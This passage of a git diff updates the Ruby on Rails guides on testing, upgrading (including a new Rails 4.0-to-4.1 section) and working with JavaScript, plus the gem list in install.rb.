+| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.|
+| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.|
| `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.|
You'll see the usage of some of these assertions in the next chapter.
@@ -422,10 +427,12 @@ Now that we have used Rails scaffold generator for our `Post` resource, it has a
Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`.
```ruby
-test "should get index" do
- get :index
- assert_response :success
- assert_not_nil assigns(:posts)
+class PostsControllerTest < ActionController::TestCase
+ test "should get index" do
+ get :index
+ assert_response :success
+ assert_not_nil assigns(:posts)
+ end
end
```
@@ -511,12 +518,14 @@ You also have access to three instance variables in your functional tests:
### Setting Headers and CGI variables
-Headers and cgi variables can be set directly on the `@request`
-instance variable:
+[HTTP headers](http://tools.ietf.org/search/rfc2616#section-5.3)
+and
+[CGI variables](http://tools.ietf.org/search/rfc3875#section-4.1)
+can be set directly on the `@request` instance variable:
```ruby
# setting a HTTP Header
-@request.headers["Accepts"] = "text/plain, text/html"
+@request.headers["Accept"] = "text/plain, text/html"
get :index # simulate the request with custom header
# setting a CGI variable
@@ -741,48 +750,53 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
private
- module CustomDsl
- def browses_site
- get "/products/all"
- assert_response :success
- assert assigns(:products)
+ module CustomDsl
+ def browses_site
+ get "/products/all"
+ assert_response :success
+ assert assigns(:products)
+ end
end
- end
- def login(user)
- open_session do |sess|
- sess.extend(CustomDsl)
- u = users(user)
- sess.https!
- sess.post "/login", username: u.username, password: u.password
- assert_equal '/welcome', path
- sess.https!(false)
+ def login(user)
+ open_session do |sess|
+ sess.extend(CustomDsl)
+ u = users(user)
+ sess.https!
+ sess.post "/login", username: u.username, password: u.password
+ assert_equal '/welcome', sess.path
+ sess.https!(false)
+ end
end
- end
end
```
Rake Tasks for Running your Tests
---------------------------------
-You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project.
+You don't need to set up and run your tests by hand on a test-by-test basis.
+Rails comes with a number of commands to help in testing.
+The table below lists all commands that come along in the default Rakefile
+when you initiate a Rails project.
| Tasks | Description |
| ----------------------- | ----------- |
-| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake test` as Rails will run all the tests by default|
-| `rake test:controllers` | Runs all the controller tests from `test/controllers`|
-| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`|
-| `rake test:helpers` | Runs all the helper tests from `test/helpers`|
-| `rake test:integration` | Runs all the integration tests from `test/integration`|
-| `rake test:mailers` | Runs all the mailer tests from `test/mailers`|
-| `rake test:models` | Runs all the model tests from `test/models`|
-| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`|
+| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default |
+| `rake test:controllers` | Runs all the controller tests from `test/controllers` |
+| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` |
+| `rake test:helpers` | Runs all the helper tests from `test/helpers` |
+| `rake test:integration` | Runs all the integration tests from `test/integration` |
+| `rake test:mailers` | Runs all the mailer tests from `test/mailers` |
+| `rake test:models` | Runs all the model tests from `test/models` |
+| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` |
+| `rake test:all` | Runs all tests quickly by merging all types and not resetting db |
+| `rake test:all:db` | Runs all tests quickly by merging all types and resetting db |
Brief Note About `MiniTest`
-----------------------------
-Ruby ships with a boat load of libraries. Ruby 1.8 provides `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing
+Ruby ships with a vast Standard Library for all common use-cases including testing. Ruby 1.8 provided `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing
us to use all of the basic assertions in our tests.
Ruby 1.9 introduced `MiniTest`, an updated version of `Test::Unit` which provides a backwards compatible API for `Test::Unit`. You could also use `MiniTest` in Ruby 1.8 by installing the `minitest` gem.
@@ -871,10 +885,9 @@ class PostsControllerTest < ActionController::TestCase
private
- def initialize_post
- @post = posts(:one)
- end
-
+ def initialize_post
+ @post = posts(:one)
+ end
end
```
@@ -896,7 +909,7 @@ Testing mailer classes requires some specific tools to do a thorough job.
### Keeping the Postman in Check
-Your mailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.
+Your mailer classes - like every other part of your Rails application - should be tested to ensure that it is working as expected.
The goals of testing your mailer classes are to ensure that:
@@ -926,12 +939,11 @@ Here's a unit test to test a mailer named `UserMailer` whose action `invite` is
require 'test_helper'
class UserMailerTest < ActionMailer::TestCase
- tests UserMailer
test "invite" do
# Send the email, then test that it got queued
email = UserMailer.create_invite('me@example.com',
'friend@example.com', Time.now).deliver
- assert !ActionMailer::Base.deliveries.empty?
+ assert_not ActionMailer::Base.deliveries.empty?
# Test the body of the sent email contains what we expect it to
assert_equal ['me@example.com'], email.from
@@ -990,6 +1002,47 @@ class UserControllerTest < ActionController::TestCase
end
```
+Testing helpers
+---------------
+
+In order to test helpers, all you need to do is check that the output of the
+helper method matches what you'd expect. Tests related to the helpers are
+located under the `test/helpers` directory. Rails provides a generator which
+generates both the helper and the test file:
+
+```bash
+$ rails generate helper User
+ create app/helpers/user_helper.rb
+ invoke test_unit
+ create test/helpers/user_helper_test.rb
+```
+
+The generated test file contains the following code:
+
+```ruby
+require 'test_helper'
+
+class UserHelperTest < ActionView::TestCase
+end
+```
+
+A helper is just a simple module where you can define methods which are
+available into your views. To test the output of the helper's methods, you just
+have to use a mixin like this:
+
+```ruby
+class UserHelperTest < ActionView::TestCase
+ include UserHelper
+
+ test "should return the user name" do
+ # ...
+ end
+end
+```
+
+Moreover, since the test class extends from `ActionView::TestCase`, you have
+access to Rails' helper methods such as `link_to` or `pluralize`.
+
Other Testing Approaches
------------------------
@@ -998,6 +1051,7 @@ The built-in `test/unit` based testing is not the only way to test Rails applica
* [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use.
* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures.
* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures.
+* [Fixture Builder](https://github.com/rdy/fixture_builder), a tool that compiles Ruby factories into fixtures before a test run.
* [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests.
* [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions.
* [RSpec](http://relishapp.com/rspec), a behavior-driven development framework
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
index e7e28e21a3..da161f84c9 100644
--- a/guides/source/upgrading_ruby_on_rails.md
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -22,6 +22,384 @@ Rails generally stays close to the latest released Ruby version when it's releas
TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
+Upgrading from Rails 4.0 to Rails 4.1
+-------------------------------------
+
+### CSRF protection from remote `<script>` tags
+
+Or, "whaaat my tests are failing!!!?"
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. That prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means that your functional and integration tests that use
+
+```ruby
+get :index, format: :js
+```
+
+will now trigger CSRF protection. Switch to
+
+```ruby
+xhr :get, :index, format: :js
+```
+
+to explicitly test an XmlHttpRequest.
+
+If you really mean to load JavaScript from remote `<script>` tags, skip CSRF
+protection on that action.
+
+### Spring
+
+If you want to use Spring as your application preloader you need to:
+
+1. Add `gem 'spring', group: :development` to your `Gemfile`.
+2. Install spring using `bundle install`.
+3. Springify your binstubs with `bundle exec spring binstub --all`.
+
+NOTE: User defined rake tasks will run in the `development` environment by
+default. If you want them to run in other environments consult the
+[Spring README](https://github.com/rails/spring#rake).
+
+### `config/secrets.yml`
+
+If you want to use the new `secrets.yml` convention to store your application's
+secrets, you need to:
+
+1. Create a `secrets.yml` file in your `config` folder with the following content:
+
+ ```yaml
+ development:
+ secret_key_base:
+
+ test:
+ secret_key_base:
+
+ production:
+ secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+ ```
+
+2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to
+ set the SECRET_KEY_BASE environment variable for whichever users run the Rails
+ app in production mode. Alternately, you can simply copy the existing
+ `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml`
+ under the `production` section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'.
+
+3. Remove the `secret_token.rb` initializer.
+
+4. Use `rake secret` to generate new keys for the `development` and `test` sections.
+
+5. Restart your server.
+
+### Changes to test helper
+
+If your test helper contains a call to
+`ActiveRecord::Migration.check_pending!` this can be removed. The check
+is now done automatically when you `require 'test_help'`, although
+leaving this line in your helper is not harmful in any way.
+
+### Cookies serializer
+
+Applications created before Rails 4.1 uses `Marshal` to serialize cookie values into
+the signed and encrypted cookie jars. If you want to use the new `JSON`-based format
+in your application, you can add an initializer file with the following content:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :hybrid
+```
+
+This would transparently migrate your existing `Marshal`-serialized cookies into the
+new `JSON`-based format.
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+ def set_cookie
+ cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+ redirect_to action: 'read_cookie'
+ end
+
+ def read_cookie
+ cookies.encrypted[:expiration_date] # => "2014-03-20"
+ end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
+### Flash structure changes
+
+Flash message keys are
+[normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They
+can still be accessed using either symbols or strings. Lopping through the flash
+will always yield string keys:
+
+```ruby
+flash["string"] = "a string"
+flash[:symbol] = "a symbol"
+
+# Rails < 4.1
+flash.keys # => ["string", :symbol]
+
+# Rails >= 4.1
+flash.keys # => ["string", "symbol"]
+```
+
+Make sure you are comparing Flash message keys against strings.
+
+### Changes in JSON handling
+
+There are a few major changes related to JSON handling in Rails 4.1.
+
+#### MultiJSON removal
+
+MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576)
+and has been removed from Rails.
+
+If your application currently depend on MultiJSON directly, you have a few options:
+
+1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
+
+2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
+
+WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with
+`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and
+deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load).
+
+#### JSON gem compatibility
+
+Historically, Rails had some compatibility issues with the JSON gem. Using
+`JSON.generate` and `JSON.dump` inside a Rails application could produce
+unexpected errors.
+
+Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The
+JSON gem APIs will function as normal, but they will not have access to any
+Rails-specific features. For example:
+
+```ruby
+class FooBar
+ def as_json(options = nil)
+ { foo: 'bar' }
+ end
+end
+
+>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
+>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+```
+
+#### New JSON encoder
+
+The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON
+gem. For most applications, this should be a transparent change. However, as
+part of the rewrite, the following features have been removed from the encoder:
+
+1. Circular data structure detection
+2. Support for the `encode_json` hook
+3. Option to encode `BigDecimal` objects as numbers instead of strings
+
+If your application depends on one of these features, you can get them back by
+adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
+gem to your Gemfile.
+
+### Usage of `return` within inline callback blocks
+
+Previously, Rails allowed inline callback blocks to use `return` this way:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+ before_save { return false } # BAD
+end
+```
+
+This behaviour was never intentionally supported. Due to a change in the internals
+of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a
+`return` statement in an inline callback block causes a `LocalJumpError` to
+be raised when the callback is executed.
+
+Inline callback blocks using `return` can be refactored to evaluate to the
+returned value:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+ before_save { false } # GOOD
+end
+```
+
+Alternatively, if `return` is preferred it is recommended to explicitly define
+a method:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+ before_save :before_save_callback # GOOD
+
+ private
+ def before_save_callback
+ return false
+ end
+end
+```
+
+This change applies to most places in Rails where callbacks are used, including
+Active Record and Active Model callbacks, as well as filters in Action
+Controller (e.g. `before_action`).
+
+See [this pull request](https://github.com/rails/rails/pull/13271) for more
+details.
+
+### Methods defined in Active Record fixtures
+
+Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods
+defined in a fixture will not be available in other fixtures.
+
+Helper methods that are used in multiple fixtures should be defined on modules
+included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in
+`test_helper.rb`.
+
+```ruby
+class FixtureFileHelpers
+ def file_sha(path)
+ Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+ end
+end
+ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+```
+
+### I18n enforcing available locales
+
+Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`,
+meaning that it will make sure that all locales passed to it must be declared in
+the `available_locales` list.
+
+To disable it (and allow I18n to accept *any* locale option) add the following
+configuration to your application:
+
+```ruby
+config.i18n.enforce_available_locales = false
+```
+
+Note that this option was added as a security measure, to ensure user input could
+not be used as locale information unless previously known, so it's recommended not
+to disable this option unless you have a strong reason for doing so.
+
+### Mutator methods called on Relation
+
+`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+to an `Array` by calling `#to_a` before using these methods.
+
+It intends to prevent odd bugs and confusion in code that call mutator
+methods directly on the `Relation`.
+
+```ruby
+# Instead of this
+Author.where(name: 'Hank Moody').compact!
+
+# Now you have to do this
+authors = Author.where(name: 'Hank Moody').to_a
+authors.compact!
+```
+
+### Changes on Default Scopes
+
+Default scopes are no longer overriden by chained conditions.
+
+In previous versions when you defined a `default_scope` in a model
+it was overriden by chained conditions in the same field. Now it
+is merged like any other scope.
+
+Before:
+
+```ruby
+class User < ActiveRecord::Base
+ default_scope { where state: 'pending' }
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+After:
+
+```ruby
+class User < ActiveRecord::Base
+ default_scope { where state: 'pending' }
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+```
+
+To get the previous behavior it is needed to explicitly remove the
+`default_scope` condition using `unscoped`, `unscope`, `rewhere` or
+`except`.
+
+```ruby
+class User < ActiveRecord::Base
+ default_scope { where state: 'pending' }
+ scope :active, -> { unscope(where: :state).where(state: 'active') }
+ scope :inactive, -> { rewhere state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+### Rendering content from string
+
+Rails 4.1 introduces `:plain`, `:html`, and `:body` options to `render`. Those
+options are now the preferred way to render string-based content, as it allows
+you to specify which content type you want the response sent as.
+
+* `render :plain` will set the content type to `text/plain`
+* `render :html` will set the content type to `text/html`
+* `render :body` will *not* set the content type header.
+
+From the security standpoint, if you don't expect to have any markup in your
+response body, you should be using `render :plain` as most browsers will escape
+unsafe content in the response for you.
+
+We will be deprecating the use of `render :text` in a future version. So please
+start using the more precise `:plain:`, `:html`, and `:body` options instead.
+Using `render :text` may pose a security risk, as the content is sent as
+`text/html`.
+
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
+
+The following changes are meant for upgrading your application to Rails 4.0.
+
### HTTP PATCH
Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful
@@ -120,18 +498,17 @@ Ruby libraries yet. Aaron Patterson's
[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have
full support for the last few changes in the specification.
-Upgrading from Rails 3.2 to Rails 4.0
--------------------------------------
-
-NOTE: This section is a work in progress.
-
-If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
-
-The following changes are meant for upgrading your application to Rails 4.0.
-
### Gemfile
-Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that line from your Gemfile when upgrading.
+Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that
+line from your Gemfile when upgrading. You should also update your application
+file (in `config/application.rb`):
+
+```ruby
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env)
+```
### vendor/plugins
@@ -143,11 +520,14 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep
* The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.
-* Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of Rails, the new order was applied after the previously defined order. But this is no longer true. Check [Active Record Query guide](active_record_querying.html#ordering) for more information.
+* In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed.
* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
-* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) to a smoothly upgrade path.
+* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path.
+
+* If you are not using Protected Attributes, you can remove any options related to
+this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
* Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:
@@ -159,8 +539,27 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep
```
* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.
+
* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.
+* Rails 4.0 has deprecated the old-style hash based finder API. This means that
+ methods which previously accepted "finder options" no longer do.
+
+* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated.
+ Here's how you can handle the changes:
+
+ * `find_all_by_...` becomes `where(...)`.
+ * `find_last_by_...` becomes `where(...).last`.
+ * `scoped_by_...` becomes `where(...)`.
+ * `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`.
+ * `find_or_create_by_...` becomes `find_or_create_by(...)`.
+
+* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`.
+
+* These equivalent methods may not execute the same SQL as the previous implementation.
+
+* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders).
+
### Active Resource
Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile.
@@ -194,16 +593,6 @@ If you are relying on the ability for external applications or Javascript to be
* Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.
-As described above, existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.
-
-```ruby
- # config/initializers/secret_token.rb
- Myapp::Application.config.secret_token = 'existing secret token'
- Myapp::Application.config.secret_key_base = 'new secret key base'
-```
-
-The same caveats apply here, too. You should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. You should also take care to make sure you are not relying on the ability to decode signed cookies generated by your app in external applications or Javascript before upgrading.
-
Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.
* Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature.
@@ -218,6 +607,11 @@ Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for d
* Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature.
+* Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should
+instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`).
+This deprecation also concerns the helpers based on this one (such as `link_to_if`
+or `link_to_unless`).
+
* Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.
* Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`:
@@ -253,13 +647,13 @@ get 'こんにちは', controller: 'welcome', action: 'index'
```ruby
# Rails 3.x
- match "/" => "root#index"
+ match '/' => 'root#index'
# becomes
- match "/" => "root#index", via: :get
+ match '/' => 'root#index', via: :get
# or
- get "/" => "root#index"
+ get '/' => 'root#index'
```
* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
@@ -304,29 +698,35 @@ Active Record Observer and Action Controller Sweeper have been extracted to the
### sprockets-rails
-* `assets:precompile:primary` has been removed. Use `assets:precompile` instead.
+* `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead.
+* The `config.assets.compress` option should be changed to `config.assets.js_compressor` like so for instance:
+
+```ruby
+config.assets.js_compressor = :uglifier
+```
### sass-rails
-* `asset_url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`
+* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`.
Upgrading from Rails 3.1 to Rails 3.2
-------------------------------------
If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
-The following changes are meant for upgrading your application to Rails 3.2.12, the latest 3.2.x version of Rails.
+The following changes are meant for upgrading your application to Rails 3.2.17,
+the last 3.2.x version of Rails.
### Gemfile
Make the following changes to your `Gemfile`.
```ruby
-gem 'rails', '= 3.2.12'
+gem 'rails', '3.2.17'
group :assets do
- gem 'sass-rails', '~> 3.2.3'
- gem 'coffee-rails', '~> 3.2.1'
+ gem 'sass-rails', '~> 3.2.6'
+ gem 'coffee-rails', '~> 3.2.2'
gem 'uglifier', '>= 1.0.3'
end
```
@@ -357,26 +757,30 @@ config.active_record.mass_assignment_sanitizer = :strict
Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+### Active Record
+
+Option `:dependent => :restrict` has been removed from `belongs_to`. If you want to prevent deleting the object if there are any associated objects, you can set `:dependent => :destroy` and return `false` after checking for existence of association from any of the associated object's destroy callbacks.
+
Upgrading from Rails 3.0 to Rails 3.1
-------------------------------------
If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
-The following changes are meant for upgrading your application to Rails 3.1.11, the latest 3.1.x version of Rails.
+The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.
### Gemfile
Make the following changes to your `Gemfile`.
```ruby
-gem 'rails', '= 3.1.11'
+gem 'rails', '3.1.12'
gem 'mysql2'
# Needed for the new asset pipeline
group :assets do
- gem 'sass-rails', "~> 3.1.5"
- gem 'coffee-rails', "~> 3.1.1"
- gem 'uglifier', ">= 1.0.3"
+ gem 'sass-rails', '~> 3.1.7'
+ gem 'coffee-rails', '~> 3.1.1'
+ gem 'uglifier', '>= 1.0.3'
end
# jQuery is the default JavaScript library in Rails 3.1
@@ -444,7 +848,7 @@ You can help test performance with these additions to your test environment:
```ruby
# Configure static asset server for tests with Cache-Control for performance
config.serve_static_assets = true
-config.static_cache_control = "public, max-age=3600"
+config.static_cache_control = 'public, max-age=3600'
```
### config/initializers/wrap_parameters.rb
diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md
index bd0c796673..aba3c9ed61 100644
--- a/guides/source/working_with_javascript_in_rails.md
+++ b/guides/source/working_with_javascript_in_rails.md
@@ -111,7 +111,9 @@ paintIt = (element, backgroundColor, textColor) ->
element.style.color = textColor
$ ->
- $("a[data-background-color]").click ->
+ $("a[data-background-color]").click (e) ->
+ e.preventDefault()
+
backgroundColor = $(this).data("background-color")
textColor = $(this).data("text-color")
paintIt(this, backgroundColor, textColor)
@@ -169,7 +171,7 @@ This will generate the following HTML:
</form>
```
-Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather
+Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather
than by the browser's normal submit mechanism.
You probably don't want to just sit there with a filled out `<form>`, though.
@@ -180,12 +182,12 @@ bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out:
$(document).ready ->
$("#new_post").on("ajax:success", (e, data, status, xhr) ->
$("#new_post").append xhr.responseText
- ).bind "ajax:error", (e, xhr, status, error) ->
+ ).on "ajax:error", (e, xhr, status, error) ->
$("#new_post").append "<p>ERROR</p>"
```
Obviously, you'll want to be a bit more sophisticated than that, but it's a
-start.
+start. You can see more about the events [in the jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki/ajax).
### form_tag
@@ -194,7 +196,17 @@ is very similar to `form_for`. It has a `:remote` option that you can use like
this:
```erb
-<%= form_tag('/posts', remote: true) %>
+<%= form_tag('/posts', remote: true) do %>
+ ...
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/posts" data-remote="true" method="post">
+ ...
+</form>
```
Everything else is the same as `form_for`. See its documentation for full
@@ -299,10 +311,10 @@ The `app/views/users/_user.html.erb` partial contains the following:
The top portion of the index page displays the users. The bottom portion
provides a form to create a new user.
-The bottom form will call the create action on the Users controller. Because
+The bottom form will call the `create` action on the `UsersController`. Because
the form's remote option is set to true, the request will be posted to the
-users controller as an Ajax request, looking for JavaScript. In order to
-service that request, the create action of your controller would look like
+`UsersController` as an Ajax request, looking for JavaScript. In order to
+serve that request, the `create` action of your controller would look like
this:
```ruby
diff --git a/install.rb b/install.rb
index 77c3e6048a..bff8fee934 100644
--- a/install.rb
+++ b/install.rb
@@ -5,7 +5,7 @@ if version.nil?
exit(64)
end
-%w( activesupport activemodel activerecord actionpack actionmailer railties ).each do |framework|
+%w( activesupport activemodel activerecord actionpack actionview actionmailer railties ).each do |framework|
puts "Installing #{framework}..."
`cd #{framework} && gem build #{framework}.gemspec && gem install #{framework}-#{version}.gem --no-ri --no-rdoc && rm #{framework}-#{version}.gem`
end
diff --git a/rails.gemspec b/rails.gemspec
index b426faf0e8..4800df0df4 100644
--- a/rails.gemspec
